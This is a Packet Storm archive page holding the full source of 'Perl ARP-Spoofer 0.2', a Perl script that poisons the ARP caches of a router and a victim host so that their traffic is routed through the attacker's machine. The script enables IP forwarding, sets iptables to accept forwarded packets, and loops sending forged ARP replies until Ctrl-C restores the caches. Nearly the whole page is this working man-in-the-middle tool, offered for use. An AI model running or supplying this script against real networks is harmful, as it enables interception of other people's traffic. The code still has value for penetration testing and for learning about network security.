exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Perl ARP-Spoofer 0.2

Perl ARP-Spoofer 0.2
Posted Jun 16, 2011
Authored by localh0t

Perl ARP-Spoofer is a short perl script that enables simple man-in-the-middle attacks in a Linux environment.

tags | tool, perl
systems | linux, unix
SHA-256 | 51f7426f9942da535a331ba1155e830a9720fb82d918ccf05df8a3100349c525

Perl ARP-Spoofer 0.2

Change Mirror Download
#!/usr/bin/perl

# Author: localh0t
# Date: 04/01/2011
# Contact: mattdch0@gmail.com
# Follow: @mattdch

# Net::ARP & Net::Ping required
use Net::ARP;
use Net::Ping;

# Root required

if ($< != 0)
{
print "\n[!] Run it as root\n\n";
exit(0);
}

# Help

if(!$ARGV[2])
{
print "\n#####################################";
print "\n# Perl ARP-Spoofer v0.2 by localh0t #";
print "\n#####################################";
print "\n\nUse: perl $0 [INTERFACE] [HOST 1 (Router)] [HOST 2 (Victim)]\n\n";
exit(0);
}

# End function

sub finaliza
{
print "\n\n[!] Restoring remote hosts ARP cache\n";
# 2 packets per host to ensure the restoration
print "\n[+] $host1 is-at $mac1 (to $host2)";
Net::ARP::send_packet($dev, $host1, $host2, $mac1, $mac2, 'reply');
Net::ARP::send_packet($dev, $host1, $host2, $mac1, $mac2, 'reply');
print "\n[+] $host2 is-at $mac2 (to $host1)";
Net::ARP::send_packet($dev, $host2, $host1, $mac2, $mac1, 'reply');
Net::ARP::send_packet($dev, $host2, $host1, $mac2, $mac1, 'reply');

print "\n\n[!] Disabling forwarding...";

open(FORWD,">"."/proc/sys/net/ipv4/ip_forward") || die "\n[-] Error opening ip_forward";
print FORWD "0";
close(FORWD);

system("iptables -P FORWARD DROP");

print "\n[!] Exiting...\n\n";
exit(0);
}

($dev, $host1, $host2) = @ARGV;

# Main

print "\n[+] Perl ARP-Spoofer v0.2 starting [+]\n";

$lmac = Net::ARP::get_mac($dev);

print "\n[!] Local MAC : $lmac";

my $ping = Net::Ping->new('icmp');
$ping->ping($host1, 2);
$ping->ping($host2, 2);

$mac1 = Net::ARP::arp_lookup($dev,$host1);
$mac2 = Net::ARP::arp_lookup($dev,$host2);

print "\n[!] MAC Host 1: $mac1";
print "\n[!] MAC Host 2: $mac2";

print "\n\n[!] Enabling forwarding...";

open(FORWD,">"."/proc/sys/net/ipv4/ip_forward") || die "\n[-] Error opening ip_forward";
print FORWD "1";
close(FORWD);

system("iptables -P FORWARD ACCEPT");

print "\n\n[!] Starting ARP-Spoofing between $host1 & $host2, Ctrl-C to end...\n";

# (While not Crtl-C)

while(1)
{
$SIG{INT} = \&finaliza;
sleep(1);
print "\n[+] $host1 is-at $lmac (to $host2)";
Net::ARP::send_packet($dev, $host1, $host2, $lmac, $mac2, 'reply');
print "\n[+] $host2 is-at $lmac (to $host1)";
Net::ARP::send_packet($dev, $host2, $host1, $lmac, $mac1, 'reply');
}

__END__
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close